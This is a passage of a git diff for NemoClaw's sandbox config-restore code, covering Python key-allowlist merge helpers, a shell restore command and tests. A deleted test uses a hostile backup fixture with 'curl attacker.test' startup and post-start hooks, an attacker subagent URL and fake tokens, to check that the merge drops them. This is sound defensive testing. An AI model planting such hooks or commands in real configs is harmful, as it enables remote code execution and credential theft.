["lsv2", "pt", "abcdefghijklmnop"].join("_"); - const backup = { - agents: { default: "reviewer", startup_command: "curl attacker.test" }, - ui: { theme: "ghp_abcdefghijklmnop", show_scrollbar: true, unknown: "keep-me-not" }, - retries: { - max_retries: 4, - openai: { max_retries: 5, param: "api_key" }, - attacker: { api_key: providerSecret }, - }, - skills: { - extra_allowed_dirs: ["/sandbox/shared-skills", "/etc", "relative/skills"], - autoload: true, - }, - threads: { - relative_time: "yes", - sort_order: "attacker-first", - columns: { initial_prompt: false }, - unknown: true, - }, - headers: { authorization: "Bearer abcdefghijklmnop" }, - servers: { attacker: { api_key: providerSecret } }, - async_subagents: { attacker: { url: "https://attacker.test", headers: {} } }, - hooks: { post_start: "curl attacker.test" }, - mcp: { config: "/sandbox/attacker-mcp.json" }, - tracing: { langsmith_redact: false, api_key: tracingSecret }, - interpreter: { enable_interpreter: true, ptc: "all" }, - shell: { allow_list: ["all"] }, - events: { external_socket: true }, - sandboxes: { default: "attacker" }, - update: { check: true, auto_update: true }, - models: { default: "openai:old-model" }, - }; - const fresh = { - models: { default: "openai:new-model" }, - update: { check: false, auto_update: false }, - managed: { version: 1 }, - }; - - const result = runMergeScript(JSON.stringify(backup), generatedCurrent(fresh)); - const merged = mergedJson(result.current); - - expect(result.status).toBe(0); - expect(merged).toEqual({ - ...fresh, - ui: { show_scrollbar: true }, - }); - expect(result.current).not.toContain(providerSecret); - expect(result.current).not.toContain(tracingSecret); - expect(result.current).not.toMatch( - /agents|allow_list|async_subagents|authorization|autoload|Bearer|columns|events|extra_allowed_dirs|ghp_|hooks|interpreter|lsv2_|max_retries|mcp|api_key|sandboxes|sk-/, - ); - }); - - it("leaves the fresh config untouched when the backup is malformed (#6311)", () => { - const current = generatedCurrent({ - models: { default: "openai:nvidia/new-model" }, - update: { check: false, auto_update: false }, - }); - - const result = runMergeScript("MALFORMED", current); - - expect(result.status).not.toBe(0); - expect(result.current).toBe(current); - expect(result.stageExists).toBe(true); - expect(result.stderr).toContain("backed-up DCode config is not valid TOML"); - expect(result.stderr).not.toContain("MALFORMED"); - }); - - it("leaves the current file untouched when fresh managed data is invalid (#6311)", () => { - const missingUpdate = generatedCurrent({ - models: { default: "openai:nvidia/new-model" }, - }); - - const result = runMergeScript(JSON.stringify({ ui: { theme: "dark" } }), missingUpdate); - - expect(result.status).not.toBe(0); - expect(result.current).toBe(missingUpdate); - expect(result.stageExists).toBe(true); - expect(result.stderr).toContain("current DCode config is missing managed [update] data"); - }); - - it("requires fresh generated headers before replacing the current file (#6311)", () => { - const currentWithoutHeaders = JSON.stringify({ - models: { default: "openai:nvidia/new-model" }, - update: { check: false, auto_update: false }, - }); - - const result = runMergeScript( - JSON.stringify({ agents: { default: "reviewer" } }), - currentWithoutHeaders, - ); - - expect(result.status).not.toBe(0); - expect(result.current).toBe(currentWithoutHeaders); - expect(result.stderr).toContain("missing the generated NemoClaw header"); - }); - - it("builds a same-directory staged atomic restore command (#6311)", () => { - const command = buildDcodeConfigMergeRestoreCommand("/sandbox/.deepagents/"); - - expect(command).toContain(".nemoclaw-dcode-backup.XXXXXX"); - expect(command).toContain(".nemoclaw-dcode-merged.XXXXXX"); - expect(command).toContain("/opt/venv/bin/python3 -I -c"); - expect(command).toContain('"$backup_tmp" "$dst" "$staged_tmp"'); - expect(DCODE_CONFIG_MERGE_PYTHON).toContain("os.replace(staged_path, current_path)"); - expect(() => buildDcodeConfigMergeRestoreCommand("/tmp/.deepagents")).toThrow( - /requires \/sandbox\/\.deepagents/, - ); - }); -}); diff --git a/src/lib/state/dcode-config-restore-input.ts b/src/lib/state/dcode-config-restore-input.ts deleted file mode 100644 index 2b29b857f3..0000000000 --- a/src/lib/state/dcode-config-restore-input.ts +++ /dev/null @@ -1,270 +0,0 @@ -// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -import { shellQuote } from "../runner.js"; -import type { StateFileRestorePolicy, StateFileRestoreSpec } from "./state-file-restore-policy.js"; - -const DCODE_AGENT_NAME = "langchain-deepagents-code"; -const DCODE_CONFIG_DIR = "/sandbox/.deepagents"; -const DCODE_CONFIG_FILE = "config.toml"; - -/** - * Deep Agents Code config restore source-of-truth boundary. - * - * DCode stores durable user preferences and NemoClaw-generated inference - * routing in the same TOML file. A wholesale backup restore would replace the - * newly generated provider/model selection, while dropping the file would lose - * user-owned settings. Until the agent manifest can express key-level - * ownership, restore must merge this one canonical file through a local, - * explicit key allowlist. - * TODO(#6334): remove this policy when manifests support key-level ownership. - */ -function shouldMergeManagedDcodeConfigStateFile( - agentType: string | null | undefined, - dir: string, - spec: StateFileRestoreSpec, -): boolean { - return ( - agentType === DCODE_AGENT_NAME && - dir.replace(/\/+$/, "") === DCODE_CONFIG_DIR && - spec.strategy === "copy" && - spec.path === DCODE_CONFIG_FILE - ); -} - -/** - * Runs inside the freshly rebuilt DCode sandbox. - * - * The fresh config owns every table. The backup may contribute only validated - * cosmetic UI and thread-list preferences; routing, credentials, executable - * behavior, trust expansion, and unknown keys are dropped. Both inputs are - * parsed before a same-directory staged file atomically replaces the live - * config. Any detected read, parse, serialization, or target-drift failure - * leaves the freshly generated file untouched, and atomic replacement avoids - * exposing partial file contents. - */ -export const DCODE_CONFIG_MERGE_PYTHON = String.raw` -import copy -import os -import stat -import sys -import tomllib -import tomli_w - -MAX_CONFIG_BYTES = 16 * 1024 * 1024 -GENERATED_HEADER = "# Generated by NemoClaw. This file contains no provider secrets." -PROVIDER_HEADER_PREFIX = "# NemoClaw provider route: " - - -def fail(message): - raise SystemExit(message) - - -def read_regular_file(path, label): - flags = os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0) - try: - fd = os.open(path, flags) - except OSError: - fail(f"{label} DCode config is missing or unsafe") - try: - metadata = os.fstat(fd) - if not stat.S_ISREG(metadata.st_mode) or metadata.st_nlink != 1: - fail(f"{label} DCode config is not a single regular file") - if metadata.st_size > MAX_CONFIG_BYTES: - fail(f"{label} DCode config exceeds the restore size limit") - chunks = [] - total = 0 - while True: - chunk = os.read(fd, 65536) - if not chunk: - break - total += len(chunk) - if total > MAX_CONFIG_BYTES: - fail(f"{label} DCode config exceeds the restore size limit") - chunks.append(chunk) - finally: - os.close(fd) - try: - text = b"".join(chunks).decode("utf-8") - except UnicodeDecodeError: - fail(f"{label} DCode config is not valid UTF-8") - try: - parsed = tomllib.loads(text) - except tomllib.TOMLDecodeError: - fail(f"{label} DCode config is not valid TOML") - if not isinstance(parsed, dict): - fail(f"{label} DCode config must be a TOML document") - return text, parsed, metadata - - -def fresh_generated_headers(text): - lines = text.splitlines() - if len(lines) < 2 or lines[0] != GENERATED_HEADER: - fail("current DCode config is missing the generated NemoClaw header") - provider_header = lines[1] - if not provider_header.startswith(PROVIDER_HEADER_PREFIX): - fail("current DCode config is missing generated provider metadata") - if len(provider_header) > 2048 or any(ord(char) < 32 for char in provider_header): - fail("current DCode config has unsafe generated provider metadata") - return GENERATED_HEADER + "\n" + provider_header - - -def assert_fresh_managed_tables(current): - for table_name in ("models", "update"): - if not isinstance(current.get(table_name), dict): - fail(f"current DCode config is missing managed [{table_name}] data") - - -def safe_ui(backup): - section = backup.get("ui") - if not isinstance(section, dict): - return {} - result = {} - for key in ("show_scrollbar", "show_url_open_toast"): - if isinstance(section.get(key), bool): - result[key] = section[key] - return result - - -def safe_threads(backup): - section = backup.get("threads") - if not isinstance(section, dict): - return {} - result = {} - if isinstance(section.get("relative_time"), bool): - result["relative_time"] = section["relative_time"] - if section.get("sort_order") in ("updated_at", "created_at"): - result["sort_order"] = section["sort_order"] - return result - - -def merge_safe_preferences(backup, current): - merged = copy.deepcopy(current) - safe_tables = { - "ui": safe_ui(backup), - "threads": safe_threads(backup), - } - for table_name, preferences in safe_tables.items(): - if not preferences: - continue - current_table = merged.get(table_name) - table = copy.deepcopy(current_table) if isinstance(current_table, dict) else {} - table.update(preferences) - merged[table_name] = table - return merged - - -def render_merged_config(backup, current, headers): - merged = merge_safe_preferences(backup, current) - try: - rendered = tomli_w.dumps(merged) - except Exception: - fail("merged DCode config could not be serialized safely") - if not isinstance(rendered, str): - fail("merged DCode config serializer returned invalid output") - payload = (headers + "\n\n" + rendered.rstrip() + "\n").encode("utf-8") - if len(payload) > MAX_CONFIG_BYTES: - fail("merged DCode config exceeds the restore size limit") - return payload - - -def write_staged_and_replace(staged_path, current_path, current_metadata, payload): - if os.path.dirname(staged_path) != os.path.dirname(current_path): - fail("DCode config staging path must share the live config directory") - flags = os.O_WRONLY | os.O_TRUNC | getattr(os, "O_NOFOLLOW", 0) - try: - fd = os.open(staged_path, flags) - except OSError: - fail("DCode config staging file is missing or unsafe") - try: - staged_metadata = os.fstat(fd) - if not stat.S_ISREG(staged_metadata.st_mode) or staged_metadata.st_nlink != 1: - fail("DCode config staging file is not a single regular file") - written = 0 - while written < len(payload): - written += os.write(fd, payload[written:]) - os.fchmod(fd, 0o660) - os.fsync(fd) - finally: - os.close(fd) - - try: - latest = os.lstat(current_path) - except OSError: - fail("current DCode config changed before atomic restore") - if stat.S_ISLNK(latest.st_mode) or ( - latest.st_dev, - latest.st_ino, - ) != ( - current_metadata.st_dev, - current_metadata.st_ino, - ): - fail("current DCode config changed before atomic restore") - - # The fresh, idle DCode runtime and this restore run as the same sandbox - # user, which already owns this directory. This check catches accidental - # target drift; os.replace atomically replaces the directory entry without - # following a swapped destination symlink. Hostile same-UID writes have the - # same config authority immediately before and after this operation. - os.replace(staged_path, current_path) - directory_fd = os.open(os.path.dirname(current_path), os.O_RDONLY) - try: - os.fsync(directory_fd) - finally: - os.close(directory_fd) - - -def main(): - if len(sys.argv) != 4: - fail("expected backup, current, and staging DCode config paths") - backup_path, current_path, staged_path = sys.argv[1:] - _backup_text, backup, _backup_metadata = read_regular_file(backup_path, "backed-up") - current_text, current, current_metadata = read_regular_file(current_path, "current") - headers = fresh_generated_headers(current_text) - assert_fresh_managed_tables(current) - payload = render_merged_config(backup, current, headers) - write_staged_and_replace(staged_path, current_path, current_metadata, payload) - - -main() -`.trim(); - -/** - * Build the SSH-side restore command. The backed-up TOML is supplied on stdin. - */ -export function buildDcodeConfigMergeRestoreCommand(dir: string): string { - const normalizedDir = dir.replace(/\/+$/, ""); - if (normalizedDir !== DCODE_CONFIG_DIR) { - throw new Error(`DCode config merge requires ${DCODE_CONFIG_DIR}`); - } - const destination = shellQuote(`${normalizedDir}/${DCODE_CONFIG_FILE}`); - return [ - `dst=${destination}`, - 'parent="$(dirname "$dst")"', - '[ -d "$parent" ] && [ ! -L "$parent" ] || { echo "unsafe DCode config parent" >&2; exit 10; }', - '[ -f "$dst" ] && [ ! -L "$dst" ] || { echo "fresh DCode config is missing or unsafe" >&2; exit 11; }', - 'backup_tmp="$(mktemp "${parent}/.nemoclaw-dcode-backup.XXXXXX")"', - 'staged_tmp="$(mktemp "${parent}/.nemoclaw-dcode-merged.XXXXXX")"', - 'trap \'rm -f -- "$backup_tmp" "$staged_tmp"\' EXIT', - 'cat > "$backup_tmp"', - 'chmod 600 "$backup_tmp" "$staged_tmp"', - `/opt/venv/bin/python3 -I -c ${shellQuote(DCODE_CONFIG_MERGE_PYTHON)} "$backup_tmp" "$dst" "$staged_tmp"`, - ].join("; "); -} - -/** - * Restore capability supplied only for a known stock managed DCode target. - * Backup provenance and the canonical file boundary are checked again here. - */ -export const managedDcodeConfigRestorePolicy: StateFileRestorePolicy = ( - agentType, - dir, - spec, - backupContents, -) => { - if (!shouldMergeManagedDcodeConfigStateFile(agentType, dir, spec)) return null; - return { - command: buildDcodeConfigMergeRestoreCommand(dir), - input: backupContents, - }; -}; diff --git a/src/lib/state/key-allowlist-merge/python-config.ts b/src/lib/state/key-allowlist-merge/python-config.ts new file mode 100644 index 0000000000..edf38a54a7 --- /dev/null +++ b/src/lib/state/key-allowlist-merge/python-config.ts @@ -0,0 +1,104 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** Python helpers that parse TOML and open the fresh config without following links. */ +export const KEY_ALLOWLIST_CONFIG_PYTHON = String.raw` +import copy +import json +import math +import os +import secrets +import stat +import sys +import tomllib +import tomli_w + +MAX_CONFIG_BYTES = 16 * 1024 * 1024 + + +def fail(message): + raise SystemExit(message) + + +def parse_config_payload(payload, label): + if len(payload) > MAX_CONFIG_BYTES: + fail(f"{label} config exceeds the restore size limit") + try: + text = payload.decode("utf-8") + except UnicodeDecodeError: + fail(f"{label} config is not valid UTF-8") + try: + parsed = tomllib.loads(text) + except tomllib.TOMLDecodeError: + fail(f"{label} config is not valid TOML") + if not isinstance(parsed, dict): + fail(f"{label} config must be a TOML document") + return text, parsed + + +def read_stdin_config(label): + payload = sys.stdin.buffer.read(MAX_CONFIG_BYTES + 1) + return parse_config_payload(payload, label) + + +def open_config_parent(base_dir, relative_path): + if not os.path.isabs(base_dir): + fail("config base directory must be absolute") + if os.path.isabs(relative_path) or "\\" in relative_path: + fail("config path must be canonical and relative") + segments = relative_path.split("/") + if not segments or any(segment in ("", ".", "..") for segment in segments): + fail("config path must be canonical and relative") + flags = os.O_RDONLY | os.O_DIRECTORY | getattr(os, "O_NOFOLLOW", 0) + try: + fd = os.open(base_dir, flags) + except OSError: + fail("config parent directory is unsafe") + try: + for segment in segments[:-1]: + next_fd = os.open(segment, flags, dir_fd=fd) + os.close(fd) + fd = next_fd + except OSError: + os.close(fd) + fail("config parent directory is unsafe") + return fd, segments[-1] + + +def read_regular_file_at(parent_fd, name, label): + flags = os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0) + try: + fd = os.open(name, flags, dir_fd=parent_fd) + except OSError: + fail(f"{label} config is missing or unsafe") + try: + metadata = os.fstat(fd) + if not stat.S_ISREG(metadata.st_mode) or metadata.st_nlink != 1: + fail(f"{label} config is not a single regular file") + if metadata.st_size > MAX_CONFIG_BYTES: + fail(f"{label} config exceeds the restore size limit") + chunks = [] + total = 0 + while True: + chunk = os.read(fd, 65536) + if not chunk: + break + total += len(chunk) + if total > MAX_CONFIG_BYTES: + fail(f"{label} config exceeds the restore size limit") + chunks.append(chunk) + finally: + os.close(fd) + text, parsed = parse_config_payload(b"".join(chunks), label) + return text, parsed, metadata + + +def load_spec(raw): + try: + spec = json.loads(raw) + except (TypeError, ValueError): + fail("restore ownership spec is not valid JSON") + if not isinstance(spec, dict): + fail("restore ownership spec must be an object") + return spec +`.trim(); diff --git a/src/lib/state/key-allowlist-merge/python-entrypoint.ts b/src/lib/state/key-allowlist-merge/python-entrypoint.ts new file mode 100644 index 0000000000..bdd343d6e2 --- /dev/null +++ b/src/lib/state/key-allowlist-merge/python-entrypoint.ts @@ -0,0 +1,27 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** Python entrypoint kept separate from parsing, ownership, and replacement helpers. */ +export const KEY_ALLOWLIST_ENTRYPOINT_PYTHON = String.raw` +def main(): + if len(sys.argv) != 4: + fail("expected a config base, relative path, and ownership spec") + base_dir, relative_path, spec_raw = sys.argv[1:] + spec = load_spec(spec_raw) + _backup_text, backup = read_stdin_config("backed-up") + parent_fd, current_name = open_config_parent(base_dir, relative_path) + try: + current_text, current, current_metadata = read_regular_file_at( + parent_fd, current_name, "current" + ) + header_lines = preserved_headers(current_text, spec.get("require_fresh_headers", [])) + assert_fresh_tables(current, spec.get("require_fresh_tables", [])) + merged = merge_user_keys(backup, current, spec.get("user_keys", [])) + payload = render_merged_config(merged, header_lines) + write_staged_and_replace(parent_fd, current_name, current_metadata, payload) + finally: + os.close(parent_fd) + + +main() +`.trim(); diff --git a/src/lib/state/key-allowlist-merge/python-ownership.ts b/src/lib/state/key-allowlist-merge/python-ownership.ts new file mode 100644 index 0000000000..1164072fa5 --- /dev/null +++ b/src/lib/state/key-allowlist-merge/python-ownership.ts @@ -0,0 +1,103 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** Python helpers that validate managed data and copy only manifest-owned user values. */ +export const KEY_ALLOWLIST_OWNERSHIP_PYTHON = String.raw` +def preserved_headers(text, required_headers): + lines = text.splitlines() + header_lines = [] + for line in lines: + if line.startswith("#"): + header_lines.append(line) + else: + break + for line in header_lines: + if len(line) > 2048 or any(ord(char) < 32 for char in line): + fail("current config has unsafe generated header metadata") + for index, required in enumerate(required_headers): + if index >= len(header_lines): + fail("current config is missing a required generated header line") + line = header_lines[index] + value = required.get("value", "") + if required.get("match") == "prefix": + if not line.startswith(value): + fail("current config generated header is missing a required prefix") + elif line != value: + fail("current config generated header does not match") + return header_lines + + +def resolve(node, path): + for segment in path: + if not isinstance(node, dict) or segment not in node: + return False, None + node = node[segment] + return True, node + + +def assert_fresh_tables(current, tables): + for path in tables: + found, value = resolve(current, path) + if not found or not isinstance(value, dict): + fail(f"current config is missing managed [{'.'.join(path)}] data") + + +def value_allowed(spec, value): + kind = spec.get("type") + if kind == "boolean": + return isinstance(value, bool) + if kind == "integer": + if not isinstance(value, int) or isinstance(value, bool): + return False + if "min" in spec and value < spec["min"]: + return False + if "max" in spec and value > spec["max"]: + return False + return True + if kind == "number": + if not isinstance(value, (int, float)) or isinstance(value, bool): + return False + if not math.isfinite(value): + return False + if "min" in spec and value < spec["min"]: + return False + if "max" in spec and value > spec["max"]: + return False + return True + if kind == "string": + if not isinstance(value, str): + return False + if "max_length" in spec and len(value) > spec["max_length"]: + return False + return True + if kind == "enum": + return any(type(value) is type(candidate) and value == candidate for candidate in spec.get("values", [])) + return False + + +def set_path(root, path, value): + node = root + for segment in path[:-1]: + child = node.get(segment) + if child is None: + child = {} + node[segment] = child + elif not isinstance(child, dict): + return False + node = child + node[path[-1]] = value + return True + + +def merge_user_keys(backup, current, user_keys): + merged = copy.deepcopy(current) + for spec in user_keys: + path = spec.get("path", []) + if not path: + continue + found, value = resolve(backup, path) + if not found or not value_allowed(spec, value): + continue + set_path(merged, path, copy.deepcopy(value)) + return merged +`.trim(); diff --git a/src/lib/state/key-allowlist-merge/python-script.ts b/src/lib/state/key-allowlist-merge/python-script.ts new file mode 100644 index 0000000000..d6f31d51ed --- /dev/null +++ b/src/lib/state/key-allowlist-merge/python-script.ts @@ -0,0 +1,15 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { KEY_ALLOWLIST_CONFIG_PYTHON } from "./python-config.js"; +import { KEY_ALLOWLIST_ENTRYPOINT_PYTHON } from "./python-entrypoint.js"; +import { KEY_ALLOWLIST_OWNERSHIP_PYTHON } from "./python-ownership.js"; +import { KEY_ALLOWLIST_SERIALIZATION_PYTHON } from "./python-serialization.js"; + +/** Complete isolated Python program passed to the sandbox interpreter. */ +export const KEY_ALLOWLIST_MERGE_PYTHON = [ + KEY_ALLOWLIST_CONFIG_PYTHON, + KEY_ALLOWLIST_OWNERSHIP_PYTHON, + KEY_ALLOWLIST_SERIALIZATION_PYTHON, + KEY_ALLOWLIST_ENTRYPOINT_PYTHON, +].join("\n\n\n"); diff --git a/src/lib/state/key-allowlist-merge/python-serialization.ts b/src/lib/state/key-allowlist-merge/python-serialization.ts new file mode 100644 index 0000000000..f8f72d08c2 --- /dev/null +++ b/src/lib/state/key-allowlist-merge/python-serialization.ts @@ -0,0 +1,131 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** Python helpers that serialize deterministically and atomically replace the fresh config. */ +export const KEY_ALLOWLIST_SERIALIZATION_PYTHON = String.raw` +def sorted_deep(value): + if isinstance(value, dict): + return {key: sorted_deep(value[key]) for key in sorted(value)} + if isinstance(value, list): + return [sorted_deep(item) for item in value] + return value + + +def render_merged_config(merged, header_lines): + try: + rendered = tomli_w.dumps(sorted_deep(merged)) + except Exception: + fail("merged config could not be serialized safely") + if not isinstance(rendered, str): + fail("merged config serializer returned invalid output") + if header_lines: + text = "\n".join(header_lines) + "\n\n" + rendered.rstrip() + "\n" + else: + text = rendered.rstrip() + "\n" + payload = text.encode("utf-8") + if len(payload) > MAX_CONFIG_BYTES: + fail("merged config exceeds the restore size limit") + return payload + + +def same_file_version(expected, actual): + return ( + stat.S_ISREG(actual.st_mode) + and actual.st_nlink == 1 + and ( + actual.st_dev, + actual.st_ino, + actual.st_size, + actual.st_mtime_ns, + actual.st_ctime_ns, + ) + == ( + expected.st_dev, + expected.st_ino, + expected.st_size, + expected.st_mtime_ns, + expected.st_ctime_ns, + ) + ) + + +def create_staged_file(parent_fd): + flags = ( + os.O_RDWR + | os.O_CREAT + | os.O_EXCL + | getattr(os, "O_CLOEXEC", 0) + | getattr(os, "O_NOFOLLOW", 0) + ) + for _attempt in range(100): + staged_name = f".nemoclaw-restore-merged.{secrets.token_hex(16)}" + try: + fd = os.open(staged_name, flags, 0o600, dir_fd=parent_fd) + except FileExistsError: + continue + except OSError: + fail("config staging file could not be created safely") + metadata = os.fstat(fd) + if not stat.S_ISREG(metadata.st_mode) or metadata.st_nlink != 1: + os.close(fd) + fail("config staging file is not a single regular file") + return staged_name, fd + fail("config staging file could not be created safely") + + +def unlink_staged_if_owned(parent_fd, staged_name, staged_metadata): + if staged_metadata is None: + return + try: + latest = os.stat(staged_name, dir_fd=parent_fd, follow_symlinks=False) + except OSError: + return + if (latest.st_dev, latest.st_ino) != (staged_metadata.st_dev, staged_metadata.st_ino): + return + try: + os.unlink(staged_name, dir_fd=parent_fd) + except OSError: + pass + + +def write_staged_and_replace(parent_fd, current_name, current_metadata, payload): + staged_name = "" + staged_fd = -1 + staged_metadata = None + installed = False + try: + staged_name, staged_fd = create_staged_file(parent_fd) + try: + written = 0 + while written < len(payload): + written += os.write(staged_fd, payload[written:]) + os.fchmod(staged_fd, 0o660) + os.fsync(staged_fd) + staged_metadata = os.fstat(staged_fd) + finally: + if staged_metadata is None and staged_fd >= 0: + staged_metadata = os.fstat(staged_fd) + + try: + latest_current = os.stat(current_name, dir_fd=parent_fd, follow_symlinks=False) + except OSError: + fail("current config changed before atomic restore") + if not same_file_version(current_metadata, latest_current): + fail("current config changed before atomic restore") + + try: + latest_staged = os.stat(staged_name, dir_fd=parent_fd, follow_symlinks=False) + except OSError: + fail("config staging file changed before atomic restore") + if staged_metadata is None or not same_file_version(staged_metadata, latest_staged): + fail("config staging file changed before atomic restore") + + os.replace(staged_name, current_name, src_dir_fd=parent_fd, dst_dir_fd=parent_fd) + installed = True + os.fsync(parent_fd) + finally: + if staged_fd >= 0: + os.close(staged_fd) + if not installed and staged_name: + unlink_staged_if_owned(parent_fd, staged_name, staged_metadata) +`.trim(); diff --git a/src/lib/state/openclaw-config-restore-input.test.ts b/src/lib/state/openclaw-config-restore-input.test.ts index 2360036d94..34c52f9e6e 100644 --- a/src/lib/state/openclaw-config-restore-input.test.ts +++ b/src/lib/state/openclaw-config-restore-input.test.ts @@ -6,42 +6,12 @@ import { describe, expect, it } from "vitest"; import { buildOpenClawConfigRestoreInput, buildOpenClawConfigRestoreInputFromSandbox, - shouldMergeOpenClawConfigStateFile, } from "./openclaw-config-restore-input"; function bufferJson(value: unknown): Buffer { return Buffer.from(JSON.stringify(value)); } -describe("shouldMergeOpenClawConfigStateFile", () => { - it("documents the OpenClaw manifest/config-path boundary for selective restore", () => { - expect( - shouldMergeOpenClawConfigStateFile("openclaw", "/sandbox/.openclaw", { - path: "openclaw.json", - strategy: "copy", - }), - ).toBe(true); - expect( - shouldMergeOpenClawConfigStateFile("custom", "/sandbox/.openclaw", { - path: "openclaw.json", - strategy: "copy", - }), - ).toBe(true); - expect( - shouldMergeOpenClawConfigStateFile("openclaw", "/sandbox/.openclaw", { - path: "other.json", - strategy: "copy", - }), - ).toBe(false); - expect( - shouldMergeOpenClawConfigStateFile("openclaw", "/sandbox/.openclaw", { - path: "openclaw.json", - strategy: "sqlite_backup", - }), - ).toBe(false); - }); -}); - describe("buildOpenClawConfigRestoreInput", () => { it("fails closed when the current rebuilt OpenClaw config is missing", () => { const result = buildOpenClawConfigRestoreInput(bufferJson({ mcpServers: {} }), null); diff --git a/src/lib/state/openclaw-config-restore-input.ts b/src/lib/state/openclaw-config-restore-input.ts index 4252d97758..f518b8f017 100644 --- a/src/lib/state/openclaw-config-restore-input.ts +++ b/src/lib/state/openclaw-config-restore-input.ts @@ -13,39 +13,6 @@ import { type OpenClawImagePluginInstall, } from "./openclaw-plugin-restore.js"; -export interface OpenClawConfigStateFileSpec { - path: string; - strategy: string; -} - -/** - * OpenClaw openclaw.json restore source-of-truth boundary. - * - * The OpenClaw agent manifest currently declares openclaw.json as a durable - * state file, but it cannot yet express key-level ownership. Until that schema - * exists, this module is the localized restore policy for reconciling the - * sanitized backup with the freshly rebuilt runtime config. - * - * Invalid state: replacing fresh runtime-owned config when the current file is - * missing, unreadable, or invalid JSON. In those cases restore must fail the - * file explicitly instead of falling back to a wholesale sanitized backup write. - * - * Source-fix constraint: remove or shrink this policy when OpenClaw or the - * agent manifest can declare key-level ownership/migration rules for - * openclaw.json directly. - */ -export function shouldMergeOpenClawConfigStateFile( - agentType: string | null | undefined, - dir: string, - spec: OpenClawConfigStateFileSpec, -): boolean { - return ( - spec.strategy === "copy" && - spec.path === "openclaw.json" && - (agentType === "openclaw" || dir.replace(/\/+$/, "").endsWith("/.openclaw")) - ); -} - export type OpenClawConfigRestoreInputResult = | { ok: true; input: Buffer } | { ok: false; error: string }; diff --git a/src/lib/state/sandbox-state-file-restore-contract.test.ts b/src/lib/state/sandbox-state-file-restore-contract.test.ts new file mode 100644 index 0000000000..04a77425ab --- /dev/null +++ b/src/lib/state/sandbox-state-file-restore-contract.test.ts @@ -0,0 +1,136 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; + +import { afterEach, describe, expect, it } from "vitest"; + +import { restoreRecreatedSandboxState, type StateFileSpec } from "./sandbox"; + +const fixtures: string[] = []; + +function writeBackup(options: { + agentType?: string; + dir?: string; + stateFiles: StateFileSpec[]; +}): string { + const backupPath = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-state-contract-")); + fixtures.push(backupPath); + for (const stateFile of options.stateFiles) { + const target = path.join(backupPath, stateFile.path); + fs.mkdirSync(path.dirname(target), { recursive: true }); + fs.writeFileSync(target, "backed-up state\n"); + } + fs.writeFileSync( + path.join(backupPath, "rebuild-manifest.json"), + JSON.stringify({ + version: 1, + sandboxName: "alpha", + timestamp: "2026-07-09T00:00:00.000Z", + agentType: options.agentType ?? "langchain-deepagents-code", + agentVersion: null, + expectedVersion: null, + stateDirs: [], + backedUpDirs: [], + stateFiles: options.stateFiles, + dir: options.dir ?? "/sandbox/.deepagents", + backupPath, + blueprintDigest: null, + }), + ); + return backupPath; +} + +afterEach(() => { + for (const fixture of fixtures.splice(0)) { + fs.rmSync(fixture, { recursive: true, force: true }); + } +}); + +describe("state-file restore target contract", () => { + it.each([ + { + description: "identical paths", + stateFiles: [ + { path: "config.toml", strategy: "copy" as const }, + { path: "config.toml", strategy: "copy" as const }, + ], + }, + { + description: "normalized path aliases", + stateFiles: [ + { path: "config.toml", strategy: "copy" as const }, + { path: "./config.toml", strategy: "copy" as const }, + ], + }, + ])("rejects repeated backup state-file $description", ({ stateFiles }) => { + const backupPath = writeBackup({ stateFiles }); + + const result = restoreRecreatedSandboxState("alpha", backupPath, { + targetAgentType: "langchain-deepagents-code", + }); + + expect(result.success).toBe(false); + expect(result.error).toContain("Backup manifest repeats state file 'config.toml'"); + expect(result.failedFiles).toContain("config.toml"); + }); + + it("rejects a backup agent that does not match the recreated target", () => { + const backupPath = writeBackup({ + stateFiles: [{ path: "config.toml", strategy: "copy" }], + }); + + const result = restoreRecreatedSandboxState("alpha", backupPath, { + targetAgentType: "openclaw", + }); + + expect(result.success).toBe(false); + expect(result.error).toContain("does not match target agent"); + expect(result.failedFiles).toEqual(["config.toml"]); + }); + + it("rejects a stale backup file that the target manifest does not declare", () => { + const backupPath = writeBackup({ + stateFiles: [{ path: "stale.toml", strategy: "copy" }], + }); + + const result = restoreRecreatedSandboxState("alpha", backupPath, { + targetAgentType: "langchain-deepagents-code", + }); + + expect(result.success).toBe(false); + expect(result.error).toContain("is not declared by target agent"); + expect(result.failedFiles).toEqual(["stale.toml"]); + }); + + it("rejects a backup state-file strategy that differs from the target manifest", () => { + const backupPath = writeBackup({ + stateFiles: [{ path: "config.toml", strategy: "sqlite_backup" }], + }); + + const result = restoreRecreatedSandboxState("alpha", backupPath, { + targetAgentType: "langchain-deepagents-code", + }); + + expect(result.success).toBe(false); + expect(result.error).toContain("does not match target strategy 'copy'"); + expect(result.failedFiles).toEqual(["config.toml"]); + }); + + it("rejects a backup state directory that differs from the current target manifest", () => { + const backupPath = writeBackup({ + dir: "/sandbox/.unexpected", + stateFiles: [{ path: "config.toml", strategy: "copy" }], + }); + + const result = restoreRecreatedSandboxState("alpha", backupPath, { + targetAgentType: "langchain-deepagents-code", + }); + + expect(result.success).toBe(false); + expect(result.error).toContain("does not match target directory"); + expect(result.failedFiles).toEqual(["config.toml"]); + }); +}); diff --git a/src/lib/state/sandbox.ts b/src/lib/state/sandbox.ts index 7a5968a9ed..09aa0c7d5e 100644 --- a/src/lib/state/sandbox.ts +++ 